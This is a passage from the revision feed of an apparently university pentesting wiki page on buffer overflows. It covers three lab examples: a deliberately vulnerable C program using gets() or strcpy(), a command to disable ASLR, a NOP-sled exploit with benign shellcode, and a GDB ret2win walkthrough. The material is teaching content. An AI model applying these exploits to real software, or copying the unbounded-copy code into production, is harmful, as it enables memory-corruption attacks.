gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3 ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 4 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2024, 2025)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=16996</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=16996"/>
		<updated>2024-12-11T17:58:46Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Example 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
